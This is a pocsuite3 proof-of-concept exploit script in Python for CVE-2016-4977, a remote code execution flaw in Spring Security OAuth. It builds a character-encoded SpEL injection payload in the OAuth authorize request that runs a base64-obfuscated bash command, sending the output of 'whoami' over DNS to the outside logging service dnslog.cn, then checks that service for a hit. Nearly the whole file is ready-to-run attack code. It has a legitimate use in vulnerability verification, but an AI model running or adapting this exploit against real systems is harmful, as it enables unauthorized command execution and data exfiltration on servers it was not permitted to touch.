#!/usr/bin/python
# -*- coding: utf-8 -*-
# from pocsuite.api.request import req #用法和 requests 完全相同
# from pocsuite.api.poc import register
# from pocsuite.api.poc import Output, POCBase
import requests as req
from pocsuite3.api import POCBase, Output, register_poc as register
import base64

headers1 = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
    'Host': 'www.dnslog.cn',
    'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
    'Accept': '*/*',
    'Referer': 'http://www.dnslog.cn/',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close'}

url1 = "http://www.dnslog.cn/getdomain.php?t=0.08025501698741366"


def get_dns(url1):
    dns_url = req.get(url1, verify=False, timeout=5, headers=headers1).text
    return dns_url


url2 = "http://www.dnslog.cn/getrecords.php?t=0.913020034617231"


def show_dns(url2):
    dns_text = req.get(url2, verify=False, timeout=5, headers=headers1).text
    return dns_text


def poc_payload():
    dns_url = get_dns(url1)
    payload = "ping `whoami`.{}".format(dns_url)
    es = base64.b64encode(payload.encode('utf-8')).decode("utf-8")
    poc_payload = "bash -c {echo," + es + "}|{base64,-d}|{bash,-i}"
    message = poc_payload
    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

    for ch in message[1:]:
        poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

    poc += ')}'
    return poc


payload1 = '''${233*233}'''
payload2 = poc_payload()
poc_str = "/oauth/authorize?response_type={}&client_id=acme&scope=openid&redirect_uri=http://test".format(payload2)
headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
    'content-type': 'text/xml', 'Authorization': 'Basic YWRtaW46YWRtaW4='}


def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += poc_str
    try:
        res = req.get(url, verify=False, timeout=5, headers=headers)
        response = res.text
    except Exception:
        response = ""
    return response


class TestPOC(POCBase):
    name = 'spring_security_OAuth_RCE_CVE-2016-4977'
    vulID = 'CVE-2016-4977'  # https://www.seebug.org/vuldb/ssvid-92474
    author = ['sxd']
    vulType = 'RCE'  # 远程代码执行漏洞
    version = '1.0'  # default version: 1.0
    references = ['']
    desc = '''
		   Spring Security OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个升级公告，
		   主要说明在用户使用Whitelabel views来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令
		   '''
    vulDate = '2020-02-6'
    createDate = '2020-02-6'
    updateDate = '2020-02-6'
    appName = 'Spring Security OAuth'
    appVersion = '2.0.0 to 2.0.9，1.0.0 to 1.0.5'
    appPowerLink = ''  # 漏洞厂商主页地址
    samples = ['']  # 测试用例
    install_requires = ["base64"]

    def _attack(self):
        '''attack mode'''
        return self._verify()

    def _verify(self):
        '''verify mode'''
        result = {}
        response = poc(self.url)
        shwo_dns_text = show_dns(url2)
        if ".dnslog.cn" in shwo_dns_text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + 'spring_security_OAuth_RCE_CVE-2016-4977' + ' is exist!'
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
